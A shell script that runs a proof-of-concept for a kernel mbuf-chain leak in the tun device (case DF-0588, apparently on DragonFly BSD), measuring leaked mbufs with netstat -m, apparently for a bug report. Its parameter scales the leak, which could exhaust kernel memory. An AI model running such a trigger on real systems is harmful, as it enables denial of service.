DF-0588 / run.sh
#!/bin/sh # Run the DF-0588 tunwrite mbuf-chain-leak PoC as root. # Usage: ./run.sh [num_writes] (default 50 -> ~16k leaked mbufs, safe demo) # # Measures mbuf usage (netstat -m) before and after to show the monotonic leak. # tun is built into the X86_64_GENERIC kernel, so no kldload is needed. set -u N="${1:-50}" mbufs_now() { # "X/max mbufs in use" -> print X netstat -m 2>/dev/null | awk '/mbufs in use/ {gsub(/\/.*/,"",$1); print $1; exit}' } echo "=== DF-0588 mbuf-chain leak ===" BEFORE=$(mbufs_now) echo "[baseline] mbufs in use: ${BEFORE}" echo "=== trigger: ./tun_leak $N ===" ./tun_leak "$N" 2>&1 RC=$? AFTER=$(mbufs_now) echo "[after] mbufs in use: ${AFTER}" if [ -n "$BEFORE" ] && [ -n "$AFTER" ]; then DELTA=$((AFTER - BEFORE)) echo "[delta] leaked mbufs: ${DELTA} over $N writes (~$((DELTA / (N>0?N:1))) mbufs/write)" fi echo "=== full netstat -m after run ===" netstat -m echo "tun_leak exit=$RC" |